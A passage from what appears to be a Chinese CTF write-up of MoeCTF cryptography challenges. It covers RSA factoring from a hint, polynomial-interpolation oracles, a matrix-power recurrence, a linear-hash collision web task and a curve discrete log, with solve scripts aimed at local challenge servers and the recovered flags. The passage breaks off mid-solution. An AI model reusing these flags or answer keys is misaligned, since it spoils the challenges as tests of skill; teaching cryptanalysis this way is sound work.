c = 4281919068424886012214413435957379635517466043647380176350221253614623990599452495938689758001256045320061491376355750164051326734927905972267385611552894838140009898450267453653097466286838460889968896032216593811984942511165228143089457988630435810304672454147149556110542203084341901598519587611096893432307236558970264536719689039318023572680185246871600989317992399536729717958072642243834689061928667913495884682029212015071613730401843271641197254089900489231738518876415262001687002012972665662364940457678043829768126263211295258465202419686281997749861180041439407866197636369525192971926660559217573713931
hint = 8894364790280693556124457666776501614023509475927164016497858629229215409128965020674642063592770935057209719989294548263833927477972267267951214184209046168773196349537926982123382473522039515862138755400978350128128233701795758152143272668945626119949376162344749760499165210224412751964322150037199401111258869439672762883792051818112500032192131948644557686621759867629440824691768395882797936616839572906841251000681054283164497419314938363871139253289134458466501698235039234455154975165111296198209091586550990873209534256929400689017034618807232508747449076486852786199340704419120538526208691066898035362296

RSA 题,hint = (a·p + b)^q mod n。

模 p:二项式展开后含 p 的项归零,得 hint ≡ b^q (mod p)。

欧拉定理 b^(p-1) ≡ 1,而 n = pq ≡ q (mod p-1),所以 b^q ≡ b^n (mod p)(指数取模 p−1),于是 p | (hint − b^n),直接 gcd(hint − pow(b,n,n), n) = p。

关键点是由于 p ≡ 1 (mod p−1),n mod (p−1) = q,把 b^q 换成 b^n,从而无需知道 p、q 就能算。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from math import gcd
from Crypto.Util.number import inverse, long_to_bytes

n = 15962603324053600624662899467930954606237037554051572101066176482327650464579501876010780067612122315010349894395035821617153081982429716234378979239633769779503395609504372912298014522344609346937078959678893005192469085672940628091531228571447786013091492389216237976408692434723698967667324605921896928717731731591488800520224411239128106892402734198486634978989319563704879076976307439748456769245703782902660583833942684475506024284563786886608632662629581206716450648212025254862836883526055933841863348546872473877054469843468332542834452213365868510001991952142536759384940216228753729399187149594010090304067
c = 4281919068424886012214413435957379635517466043647380176350221253614623990599452495938689758001256045320061491376355750164051326734927905972267385611552894838140009898450267453653097466286838460889968896032216593811984942511165228143089457988630435810304672454147149556110542203084341901598519587611096893432307236558970264536719689039318023572680185246871600989317992399536729717958072642243834689061928667913495884682029212015071613730401843271641197254089900489231738518876415262001687002012972665662364940457678043829768126263211295258465202419686281997749861180041439407866197636369525192971926660559217573713931
hint = 8894364790280693556124457666776501614023509475927164016497858629229215409128965020674642063592770935057209719989294548263833927477972267267951214184209046168773196349537926982123382473522039515862138755400978350128128233701795758152143272668945626119949376162344749760499165210224412751964322150037199401111258869439672762883792051818112500032192131948644557686621759867629440824691768395882797936616839572906841251000681054283164497419314938363871139253289134458466501698235039234455154975165111296198209091586550990873209534256929400689017034618807232508747449076486852786199340704419120538526208691066898035362296
e = 65537
a, b = 0x2025, 0x2026

# hint ≡ b^q (mod p), n ≡ q (mod p-1)  =>  hint ≡ b^n (mod p)
p = gcd(hint - pow(b, n, n), n)
print("p =", p)
q = n // p
assert p * q == n
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print("flag:", long_to_bytes(m).decode())

p = 103874819956784750397441224241925381426789247175821415549141089212667580311185181360947015893397647874435979564271549952517434054270569417749883732614374543359961145617659289544977543847395361498183017638422707407380569752616639730384125895608244426961176300958309249891503196762796574283558285149303509621889

flag: moectf{f3rmat_l1ttl3_th30r3m_l34ks_p_1n_2025}

其实无需知道 p、q,关键洞察是 n mod (p−1) = q,把费马小定理的指数 q 换成已知的 n。

moePoly1

Restore polynomial then get flag.

密文分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import *
import uuid

flag = "moectf{" + str(uuid.uuid4()) + "}"
l = len(flag)
rounds = l
coef = [ord(i) << 248 for i in flag]
p = getPrime(256)
print(f'{p = }')

def eval_poly(x):
    y =  sum([c * pow(x, i, p) for i, c in enumerate(coef)]) % p
    return y

def query():
    try:
        x = int(input("input x: "))
        assert 0 < x < p
    except:
        print("something wrong")
        exit()
    print(eval_poly(x))

menu = '''1. query
2. quit'''

for i in range(rounds):
    print(f'ROUND {i + 1}/{rounds}')
    print(menu)
    op = int(input('choice: '))
    if op == 1:
        query()
    if op == 2:
        exit()
print("All rounds finished. It's your time to find the flag!")

题目逻辑:

1
2
3
4
5
6
7
8
flag = "moectf{" + str(uuid.uuid4()) + "}"   # 44 字符(本地占位,远程为固定 flag)
l = len(flag)        # 44
rounds = l
coef = [ord(i) << 248 for i in flag]          # 每个系数左移 248 位
p = getPrime(256)

def eval_poly(x):
    return sum([c * pow(x, i, p) for i, c in enumerate(coef)]) % p

其实就是程序打印 p,然后跑 44 轮,每轮可选 query(输入 x,回显 eval_poly(x))或 quit。

大致思路就是令 P(x) = Σ cᵢ·xⁱ,其中 cᵢ = ord(flag[i]) ∈ [0, 255](小系数)。因为 coef[i] = cᵢ · 2²⁴⁸,所以:

$$ y = eval_poly(x) = (2^248 · P(x)) mod p $$

于是每次 query 都能得到 P(x) mod p:

$$ P(x) = y · inv(2^248) mod p $$

P 是 43 次多项式(44 个系数),只要拿 44 个点(x = 1..44)就能精确插值,系数 cᵢ 就是 flag 的字节(cᵢ < 256 < p,直接可读)。

求解:

  1. 读 p。
  2. 44 轮 query x = 1..44,收集 yᵢ。
  3. Pᵢ = yᵢ · inv(2^248) mod p。
  4. 解 Vandermonde 线性方程组 V·c = P(V[i][j] = xᵢ^j mod p),用模 p 高斯消元。
  5. c = [ord(flag[0]), ..., ord(flag[43])] → bytes(c) 即 flag。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import socket, re

def mod_inv(a, p): return pow(a, p-2, p)

def interpolate(xs, ys, p):
    n = len(xs)
    M = [[pow(xs[i], j, p) for j in range(n)] + [ys[i] % p] for i in range(n)]
    for col in range(n):
        piv = next(r for r in range(col, n) if M[r][col] % p != 0)
        M[col], M[piv] = M[piv], M[col]
        inv = mod_inv(M[col][col], p)
        M[col] = [v * inv % p for v in M[col]]
        for r in range(n):
            if r != col and M[r][col] % p != 0:
                f = M[r][col]
                M[r] = [(M[r][c] - f * M[col][c]) % p for c in range(n+1)]
    return [M[i][n] % p for i in range(n)]

class Reader:
    def __init__(self, s): self.s = s; self.buf = b''
    def read_until(self, marker):
        while marker not in self.buf:
            c = self.s.recv(4096)
            if not c: break
            self.buf += c
        i = self.buf.index(marker) + len(marker)
        out, self.buf = self.buf[:i], self.buf[i:]
        return out
    def readline(self):
        while b'\n' not in self.buf:
            c = self.s.recv(4096)
            if not c: break
            self.buf += c
        i = self.buf.index(b'\n') + 1
        out, self.buf = self.buf[:i], self.buf[i:]
        return out

s = socket.create_connection(('127.0.0.1', 11405), timeout=15)
r = Reader(s)
r.read_until(b'p = '); p = int(re.search(rb'(\d+)', r.readline()).group(1))

N = 44
xs = list(range(1, N+1))
ys = []
for i in range(N):
    r.read_until(b'choice:')
    s.sendall(b'1\n')
    r.read_until(b'input x:')
    s.sendall(str(xs[i]).encode() + b'\n')
    ys.append(int(r.readline().strip()))

inv248 = mod_inv(1 << 248, p)
P = [y * inv248 % p for y in ys]
coef = interpolate(xs, P, p)
print(bytes(coef))
# moectf{16f9ecb4-977f-e56a-c6f7-91a251454ca7}

小系数 + 已知次数 → 有限个点做模 p 插值(解 Vandermonde 方程组)即可完整还原 flag

flag:moectf{16f9ecb4-977f-e56a-c6f7-91a251454ca7}

XOR_revenge

这次你能求出通项吗?

密文分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import long_to_bytes

flag = b'moectf{???}'

# just a normal big prime
M = 2**521 - 1

COEFF = [3, 5, 7, 11, 13, 17, 36]
INIT  = [1, 2, 3, 4, 5, 6, 7]

def gen_key(n):
    f = INIT[:]
    if n < 7:
        return f[n]
    for _ in range(7, n + 1):
        nxt = sum(COEFF[j] * f[6 - j] for j in range(7)) % M
        f = f[1:] + [nxt]
    return f[6]

n = 10**25
key = gen_key(n)
enc = bytes([x ^ y for x, y in zip(flag, long_to_bytes(key))])
# b'lz\xb0T\xeb\x18\xec\xcfQ\x8bv#\x17t\xf0\xc7\xdaM\x87\xf5sr\xef\xd0\xfc3.\xdc%\xaaf\xf4\xd1\xc8\xb7\xef'

分析一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
M = 2**521 - 1
COEFF = [3, 5, 7, 11, 13, 17, 36]
INIT  = [1, 2, 3, 4, 5, 6, 7]

def gen_key(n):
    f = INIT[:]
    if n < 7:
        return f[n]
    for _ in range(7, n + 1):
        nxt = sum(COEFF[j] * f[6 - j] for j in range(7)) % M
        f = f[1:] + [nxt]
    return f[6]

n = 10**25
key = gen_key(n)
enc = bytes([x ^ y for x, y in zip(flag, long_to_bytes(key))])

即一个 7 阶线性递推(模 2^521-1):

1
2
f[k] = 3·f[k-1] + 5·f[k-2] + 7·f[k-3] + 11·f[k-4] + 13·f[k-5] + 17·f[k-6] + 36·f[k-7]
初始:f[0..6] = 1..7

要求 f[10^25],用它作 key 和 flag 异或。

那就是矩阵快速幂了,把递推写成状态转移矩阵。状态向量 s_k = [f[k], f[k-1], ..., f[k-6]]^T:

1
2
3
4
5
6
7
A = [[3,5,7,11,13,17,36],
     [1,0,0, 0, 0, 0, 0],
     [0,1,0, 0, 0, 0, 0],
     [0,0,1, 0, 0, 0, 0],
     [0,0,0, 1, 0, 0, 0],
     [0,0,0, 0, 1, 0, 0],
     [0,0,0, 0, 0, 1, 0]]
$$ A = [[3,5,7,11,13,17,36], [1,0,0, 0, 0, 0, 0], [0,1,0, 0, 0, 0, 0], [0,0,1, 0, 0, 0, 0], [0,0,0, 1, 0, 0, 0], [0,0,0, 0, 1, 0, 0], [0,0,0, 0, 0, 1, 0]] $$

则 s_n = A^(n-6) · s_6,f[n] = s_n[0]。10^25 只有约 83 bit,矩阵快速幂做 ~83 次 7×7 矩阵乘法即可,瞬间完成。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
M = 2**521 - 1
enc = bytes([0x6c,0x7a,0xb0,0x54,0xeb,0x18,0xec,0xcf,0x51,0x8b,0x76,0x23,0x17,0x74,
             0xf0,0xc7,0xda,0x4d,0x87,0xf5,0x73,0x72,0xef,0xd0,0xfc,0x33,0x2e,0xdc,
             0x25,0xaa,0x66,0xf4,0xd1,0xc8,0xb7,0xef])

A = [[3,5,7,11,13,17,36],[1,0,0,0,0,0,0],[0,1,0,0,0,0,0],[0,0,1,0,0,0,0],
     [0,0,0,1,0,0,0],[0,0,0,0,1,0,0],[0,0,0,0,0,1,0]]

def mmul(X, Y):
    n = len(X); Z = [[0]*n for _ in range(n)]
    for i in range(n):
        for k in range(n):
            a = X[i][k]
            if a:
                for j in range(n):
                    Z[i][j] = (Z[i][j] + a*Y[k][j]) % M
    return Z

def mpow(A, e):
    n = len(A); R = [[int(i==j) for j in range(n)] for i in range(n)]
    while e:
        if e & 1: R = mmul(R, A)
        A = mmul(A, A); e >>= 1
    return R

def mvec(A, v):
    return [sum(A[i][j]*v[j] for j in range(len(v))) % M for i in range(len(A))]

n = 10**25
s6 = [7,6,5,4,3,2,1]          # [f6,f5,...,f0]
key = mvec(mpow(A, n-6), s6)[0]
lb = key.to_bytes((key.bit_length()+7)//8, 'big')
print(bytes(a^b for a, b in zip(enc, lb)))
# moectf{m4tr1x_p0w3r_1s_4ll_y0u_n33d}

墨箓验真

司箓院掌管天下墨箓,所有入院文书都要经过秘钥验真。近日,一卷记载古老术式的数字旧帖落入你手中,封存其中的朱批即将被重新启封。传闻只要铸出一卷与旧帖同效、却又不完全相同的墨箓,便能绕过司箓院的验台,取得最终授箓。如今验台已启,你能否在未知秘钥之下,写出足以瞒过验真的新墨箓?

密文分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

def is_digit_string(value):
    return isinstance(value, str) and value.isdigit()


def pad_digits(text):    
    if not is_digit_string(text):
        raise ValueError("input must be a non-empty digit string")

    missing = (6 - len(text) % 6) % 6
    for value in range(1, missing + 1):
        text += str(value)
    return text


def normalize_key(key): 
    assert isinstance(key, str) and len(key) == 6 and all(bit in "01" for bit in key)
    bits = [int(bit) for bit in key]
    return bits


def block_hash(block, key):   
    if not isinstance(block, str) or len(block) != 6 or not block.isdigit():
        raise ValueError("block must be a 6-digit string")

    bits = normalize_key(key)
    total = 0

    for bit, digit in zip(bits, block):
        total += (-1 if bit else 1) * int(digit)

    return total


def hash_with_key(text, key):    
    padded = pad_digits(text)
    total = 0

    for index in range(0, len(padded), 6):
        sign = 1 if (index // 6) % 2 == 0 else -1
        total += sign * block_hash(padded[index : index + 6], key)

    return total


def is_collision(original, candidate, key):    
    if not is_digit_string(original) or not is_digit_string(candidate):
        return False
    if original == candidate:
        return False

    return hash_with_key(original, key) == hash_with_key(candidate, key)


def main():
    # 本流程为简化版以供理解
    old_token = "..."
    new_token = "..."
    key = "..."

    if is_collision(old_token, new_token, key):
        print("accepted")
        return 0
    else:
        print("wrong") 
        return 1

if __name__ == "__main__":
    main()

这是一个一个多关卡 Web 题(试墨台 / 折简阁 / 霆纹坛 / 朱批),要我们是找一个与旧帖哈希相同的伪造墨箓。

API:

1
2
3
GET  /api/state     → 当前关卡状态(level, phrase 旧帖, requirement 等)
POST /api/submit    → {"answer": "..."} 提交候选,返回 ok/message
POST /api/advance   → 通过后进入下一关

必须用 cookie 保持会话,否则每次请求旧帖(phrase)都会变。

简要分析一下challenge.py 里的哈希逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def block_hash(block, key):          # 6 位数字块
    bits = [int(b) for b in key]     # key 是 6 位 01 串
    return sum((-1 if bit else 1) * int(d) for bit, d in zip(bits, block))

def hash_with_key(text, key):
    padded = pad_digits(text)        # 补到 6 的倍数,补 "1","12","123",...
    total = 0
    for i in range(0, len(padded), 6):
        sign = 1 if (i//6) % 2 == 0 else -1   # 相邻块交替正负
        total += sign * block_hash(padded[i:i+6], key)
    return total

哈希是线性的。

第 b 块第 i 位的权重是 (-1)^(b + key[i]),所以:

1
2
hash(text) = Σᵢ wᵢ · signatureᵢ
signature = b0 - b1 + b2 - b3 + ...    # 各 6 位块交替加减

其中 wᵢ = (-1)^key[i] 由隐藏密钥决定。由于密钥未知,要让碰撞对任意密钥都成立,必须让候选的 signature 与旧帖完全相等。

ink12 位帖,任意不同同效符:

signature = b0 - b1。同一位置 i 在相邻两块权重相反,同时给两块第 i 位加相同 Δ,signature 不变:

旧帖 "819935107867" → b0="819935", b1="107867"

第 0 位:b0[0]=8→9, b1[0]=1→2(都 +1) 候选 "919935207867"

fold12 位帖,≤7 位同效符:

要让 delta = b0 - b1 用 ≤7 位串表示。7 位候选补齐后(补 "12345")分两块:

1
2
块0 = [c0 c1 c2 c3 c4 c5],块1 = [c6 1 2 3 4 5]
signature = [c0-c6, c1-1, c2-2, c3-3, c4-4, c5-5]

令其等于 delta:

1
2
c[i] = delta[i] + i   (i=1..5)
c0 - c6 = delta[0]    → 选 c6 = max(0, -delta[0]), c0 = c6 + delta[0]

(若 delta 全部非负,也可直接用 6 位候选 delta 本身。)

thunder18 位帖,≤12 位同效符:

18 位 = 3 块,signature = b0 - b1 + b2。用 12 位双块 c0 c1 表示(c0-c1 = sig):

1
2
c0[i] = max(0, sig[i])
c1[i] = max(0, -sig[i])

要求 |sig[i]| ≤ 9(否则重连换帖)。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import urllib.request, http.cookiejar, json

base = 'http://127.0.0.1:13190'

def collide_ink(phrase):
    b0 = list(phrase[:6]); b1 = list(phrase[6:12])
    for i in range(6):
        d0, d1 = int(b0[i]), int(b1[i])
        for d in (1,-1,2,-2,3,-3,4,-4,5,-5):
            if 0 <= d0+d <= 9 and 0 <= d1+d <= 9:
                b0[i] = str(d0+d); b1[i] = str(d1+d)
                return ''.join(b0+b1)

def collide_fold(phrase):
    d0 = [int(c) for c in phrase[:6]]; d1 = [int(c) for c in phrase[6:12]]
    delta = [d0[i]-d1[i] for i in range(6)]
    if all(0 <= x <= 9 for x in delta):
        return ''.join(str(x) for x in delta)
    if all(-i <= delta[i] <= 9-i for i in range(1,6)):
        c = [0]*7
        for i in range(1,6): c[i] = delta[i] + i
        dv = delta[0]; c6 = max(0,-dv); c[0] = c6+dv; c[6] = c6
        return ''.join(str(x) for x in c)
    return None

def collide_thunder(phrase):
    b0 = [int(c) for c in phrase[0:6]]
    b1 = [int(c) for c in phrase[6:12]]
    b2 = [int(c) for c in phrase[12:18]]
    sig = [b0[i]-b1[i]+b2[i] for i in range(6)]
    if all(-9 <= s <= 9 for s in sig):
        c0 = [max(0,s) for s in sig]; c1 = [max(0,-s) for s in sig]
        return ''.join(str(x) for x in c0+c1)
    return None

def run_session():
    cj = http.cookiejar.CookieJar()
    op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    def get(p):
        with op.open(base+p, timeout=15) as r: return json.loads(r.read())
    def post(p, d=None):
        req = urllib.request.Request(base+p, data=json.dumps(d or {}).encode(),
                                     headers={'Content-Type':'application/json'}, method='POST')
        with op.open(req, timeout=15) as r: return json.loads(r.read())

    state = get('/api/state')
    fn = {'ink': collide_ink, 'fold': collide_fold, 'thunder': collide_thunder}
    for _ in range(4):
        lv, ph = state['level'], state['phrase']
        if state.get('flag') or state.get('complete'): return state.get('flag')
        cand = fn[lv](ph)
        if cand is None: return None
        res = post('/api/submit', {'answer': cand})
        if not res.get('ok'): return None
        adv = post('/api/advance')
        if adv.get('flag'): return adv['flag']
        state = adv.get('state', res.get('state'))
    return state.get('flag')

for _ in range(30):
    flag = run_session()
    if flag:
        print(flag); break

moePoly2

A slight reduction, a slight change.

密文分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import *
import uuid

flag = "moectf{" + str(uuid.uuid4()) + "}"
l = len(flag)
rounds = l - 13
coef = [ord(i) << 248 for i in flag]
p = getPrime(256)
print(f'{p = }')

def eval_poly(x):
    y =  sum([c * pow(x, i, p) for i, c in enumerate(coef)]) % p
    return y

def query():
    try:
        x = int(input("input x: "))
        assert 0 < x < p
    except:
        print("something wrong")
        exit()
    print(eval_poly(x))

menu = '''1. query
2. quit'''

for i in range(rounds):
    print(f'ROUND {i + 1}/{rounds}')
    print(menu)
    op = int(input('choice: '))
    if op == 1:
        query()
    if op == 2:
        exit()
print("All rounds finished. It's your time to find the flag!")

上一题 rounds = l = 44,44 次查询刚好完整插值 43 次多项式。

本题改为:

1
rounds = l - 13   # 31

43 次多项式有 44 个系数,却只有 31 次查询,少了 13 个。这 13 正是 flag 格式里已知的字符。

已知:

1
flag = "moectf{" + str(uuid.uuid4()) + "}"   # 44 字符

uuid 字符串形如 xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx,其中:

已知部分 下标 数量
moectf{ 前缀 0..6 7
4 个连字符 - 15, 20, 25, 30 4
版本号(uuid4 为 '4') 21 1
} 后缀 43 1

合计 13 个已知系数 → 44 − 13 = 31 个未知,31 次查询正好够。

求解法和上一题一样,y = 2²⁴⁸·P(x) mod p,P(x) = Σ cᵢxⁱ,cᵢ = ord(flag[i]):

$$ y = 2^{248}\cdot P(x) \bmod p,\quad P(x)=\sum c_i x^i,\quad c_i=\mathrm{ord}(\mathit{flag}[i]) $$
  1. 31 次 query 取点 x = 1..31,得 P(x) = y · inv(2²⁴⁸) mod p。

  2. 已知系数单独减掉:

    $$ R(xⱼ) = P(xⱼ) − Σ_{i∈已知} cᵢ·xⱼⁱ (mod p) = Σ_{i∈未知} cᵢ·xⱼⁱ $$
  3. 解 31×31 Vandermonde(列只取未知下标)方程组,恢复 31 个未知字符。

  4. 用「恢复出的字符全是 hex(0-9a-f)」作校验。

不过要注意的是,远程 flag 实际不是严格 uuid4(版本号是随机 hex,这一题是 '0' 而非 '4')。

所以把版本号字符(下标 21)也当未知,对 16 种 hex 穷举,每种解一次方程组,取全 hex 的那个。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import socket, re

def mod_inv(a, p): return pow(a, p-2, p)

def solve(M, p):
    n = len(M)
    for col in range(n):
        piv = next(r for r in range(col, n) if M[r][col] % p != 0)
        M[col], M[piv] = M[piv], M[col]
        inv = mod_inv(M[col][col], p)
        M[col] = [v*inv % p for v in M[col]]
        for r in range(n):
            if r != col and M[r][col] % p != 0:
                f = M[r][col]
                M[r] = [(M[r][c] - f*M[col][c]) % p for c in range(n+1)]
    return [M[i][n] % p for i in range(n)]

class Reader:
    def __init__(self, s): self.s = s; self.buf = b''
    def read_until(self, marker):
        while marker not in self.buf:
            c = self.s.recv(4096)
            if not c: break
            self.buf += c
        i = self.buf.index(marker) + len(marker); out, self.buf = self.buf[:i], self.buf[i:]; return out
    def readline(self):
        while b'\n' not in self.buf:
            c = self.s.recv(4096)
            if not c: break
            self.buf += c
        i = self.buf.index(b'\n') + 1; out, self.buf = self.buf[:i], self.buf[i:]; return out

s = socket.create_connection(('127.0.0.1', 12636), timeout=15)
r = Reader(s)
r.read_until(b'p = '); p = int(re.search(rb'(\d+)', r.readline()).group(1))

N = 31
xs = list(range(1, N+1))
ys = []
for i in range(N):
    r.read_until(b'choice:'); s.sendall(b'1\n'); r.read_until(b'input x:')
    s.sendall(str(xs[i]).encode() + b'\n'); ys.append(int(r.readline().strip()))

inv248 = mod_inv(1 << 248, p)
P = [y * inv248 % p for y in ys]

fixed_idx = [0,1,2,3,4,5,6, 15,20,25,30, 43]            # prefix + 4 连字符 + }
fixed_val = [ord(c) for c in 'moectf{'] + [45]*4 + [125]

hexchars = [ord(c) for c in '0123456789abcdef']
for ver in hexchars:                                    # 穷举版本号
    kidx = fixed_idx + [21]
    kval = fixed_val + [ver]
    unk = [i for i in range(44) if i not in kidx]
    R = [(P[j] - sum(kval[k]*pow(xs[j], kidx[k], p) for k in range(13))) % p for j in range(N)]
    M = [[pow(xs[j], idx, p) for idx in unk] + [R[j]] for j in range(N)]
    c = solve(M, p)
    if all(v in hexchars for v in c):
        flag = ['?']*44
        for k, idx in enumerate(kidx): flag[idx] = chr(kval[k])
        for k, idx in enumerate(unk): flag[idx] = chr(c[k])
        print(''.join(flag))
        break

m1x3d_d1p

这个离散对数有力气

密文分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import os
from hashlib import shake_256
from operator import xor
from Crypto.Random import get_random_bytes
from Crypto.Util.number import getPrime, getRandomRange, isPrime

FLAG = os.environ.get("FLAG").encode()

LOWER = 2^72
WIDTH = 2^50
N = 2^521

def int_to_bytes(value, size):
    return int(value).to_bytes(size, "big")

def bytes_to_int(value):
    return int.from_bytes(value, "big")

def get_safeprime():
    while True:
      q = getPrime(255)  
      p = 2 * q + 1
      if isPrime(p):
          assert p.bit_length() ==256
          return p

def get_necessaryprime():
    while True:
      p = getPrime(1024)
      q = getPrime(1024)
      if p != q:
          return p,q

def get_point(E):
    while True:
      P = E.random_point()
      if P != E(0) and (N // 2) * P != E(0):
          return P

def main():
    g = 4
    x = LOWER + getRandomRange(0, int(WIDTH))  
    p1=get_safeprime()
    h = pow(g, x, p1)   
    salt = get_random_bytes(16)
    stream = shake_256(int_to_bytes(x, 16) + salt).digest(len(FLAG))  
    ct = bytes(xor(a, b) for a, b in zip(FLAG, stream))


    p2, q2 = get_necessaryprime()
    n = p2*q2
    msg = bytes_to_int(salt)
    assert 0 < msg < n
    c = pow(n - 1, msg, n^3)


    p3 = 2^521 - 1
    E = EllipticCurve(GF(p3), [1, 0])  
    assert p3.is_prime()
    assert E.cardinality() == N   
    G = get_point(E)   
    Q = h*G     # ecc point multiplication

    print("p1 = ",p1)
    print("ct = ",ct.hex())
    print("n = ",n)
    print("c = ",c)
    print(f"G = {G}")
    print(f"Q = {Q}")



if __name__ == "__main__":
    main()



'''
p1 =  73874304220966794859883564142670914442160584279512562772063275425872997290543
ct =  c73ebfd0d5f5306bf7b8c259f87a866c40cbb5ce5f8d326174f09d179df3a5d3906d1e6fbf
n =  26348468790358661987445205133808481361435703130418513887705897278826308770033861923830274930436686278724254218616365814127895667201226946680165183008754547597474861303423910691551690444921386163168548614525381254405937849955507155314004007535604045061255553662727828051290832314449659484779308741293727707900900170235659862252073630553044526390301199317071679861165407076957146176561947990013484184202106200233399045641747234458307724661634973621282190792505046148325660314149396133509245559308317797985683006061032800023800961174212354544955109581064928578416971928807203749582669021458568452833766558770954438616497
c =  18292208600418680625346183156783842167980266908746063547874782289594016023290780206333754396450393994395102007035855344054804193217359206463563433446472505727994901132977763787080203026950169369591501787480957627259013567994357936208362687606101415863993698014986685119064533855372082930021613298890333145509392421716752995306296461868488832964415358984329882937931905903464559143982263268269083480587788420877176573297769968153059118111876625064199454486635225619944093721820821165705764165249155126464874550914713055748639590002563670621007106376616325378189084111869509522388310189885502337810810215875286798134503525107415142540248231413068164395979470626299622797881264209250500723283329219227670112466101846529702624411174551568386938553935477994536587306540781433768299234258441555545749811160761849886388837032471652047716680527112246937059135097439738963306420040647197702553358014634206681392082294371653516056590167571665836297401855786357030195987426949879246135482587643313361147857381800085864146304896635173146062947294307468070616042354637632111985639047340422705751250339626174344904860600721556258009492692131360873608376680475870292729759624235570033630175014234069123392091032441528497624613784629834549504180502654304061001373814831486231477364902485785811049637463459384990001796639913357655607413053238839196073949185368693205326288736386552869873665539622247744841057721351869502628850114759676192404249955073513052265989954817453906473557788905111747827714893635800870166800765860714842566830570394408087721863150266141226191226570565273155340630477577238929069857526263693577191002065110637932256991574847955863906072356280613270856886191376520837492360166100997985166149831999620544245637744163660725702132833723949396909207374462649964703036145604767881029170114908642892746159599054748172266245422571025453930975860859362
G = (6020778416720603517227477855097878740167361812994765487105307672032724334849113047243617528393766225587705066628296154430456880091295418013040021260550463027 : 691898700551711858905313841052959760588826940773891651738319555867728918193849130906719860297917423252790661716193289433324789017225426911052907111053843978 : 1)
Q = (2129340065294857346243947364378019323540664200486037074516322333892314045157843753138708906788524972368828168216665115345570256093936157234360622885600492438 : 1817717059341975240621337553071398827917135577681647671729956862059289928752523593978226475321638296957956501967732700517974509739099606328777013339210950885 : 1)
'''
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
g = 4
x = 2^72 + getRandomRange(0, 2^50)          # 72 位,50 bit 熵
p1 = get_safeprime()                         # 256 位安全素数
h = pow(g, x, p1)                            # h = 4^x mod p1(未直接输出)

salt = get_random_bytes(16)
stream = shake_256(int_to_bytes(x,16) + salt).digest(len(FLAG))
ct = FLAG ^ stream

p2, q2 = get_necessaryprime()                # 1024 位
n = p2*q2
c = pow(n-1, bytes_to_int(salt), n^3)         # Paillier 变体

p3 = 2^521 - 1
E = EllipticCurve(GF(p3), [1, 0])             # y^2 = x^3 + x
G = get_point(E)                              # 阶 2^521
Q = h*G

# 输出: p1, ct, n, c, G, Q   (h 和 x 都不直接给)

要还原 FLAG,需要 x 和 salt。

  1. salt:从 c = (n-1)^salt mod n^3 反解(二项式展开)。
  2. h:从 Q = h*G 求 ECC 离散对数。
  3. x:从 h = 4^x mod p1 求小指数离散对数(Pollard kangaroo)。

恢复salt,用二项式展开:

$$ (n-1)^m = (-1+n)^m ≡ (-1)^m (1 - m·n) (mod n^2) $$

(更高次项含 n² 被消掉)。

所以 c mod n^2 只有两种形状:

  • m 偶:c ≡ 1 - m·n (mod n^2) → m = ((1 - c) mod n^2) / n
  • m 奇:c ≡ m·n - 1 (mod n^2) → m = ((c + 1) mod n^2) / n

两个都算,取 < 2^128 的那个就是 16 字节的 salt。

然后就是恢复 h(ECC 离散对数):p3 = 2^521 - 1 ≡ 3 (mod 4),曲线 y² = x³ + x 是超奇异曲线,阶为 p3+1 = 2^521(幂 2 群)。get_point 保证 (2^520)·G ≠ O,故 ord(G) = 2^521。

Q = h·G,其中 h < p1 < 2^256 < 2^521。在 2 幂阶群里,离散对数可逐比特求出:

设 H = 2^520·G(唯一 2 阶元)。对第 i 位:

1
2
3
T = 2^(520-i) · R
若 T == H,则 bit i = 1(且 R -= 2^i·G)
否则 bit i = 0

每轮 T = 2^(520-i)·R = (r mod 2)·H,正好测出当前最低位。521 轮后得到完整的 d = h。

纯 Python 用仿射坐标点加/倍点 + pow(x, p-2, p) 求逆即可,验证 h*G == Q。

恢复 x(Pollard kangaroo):h = 4^x mod p1,x = 2^72 + r,r ∈ [0, 2^50)。

先消掉已知部分:

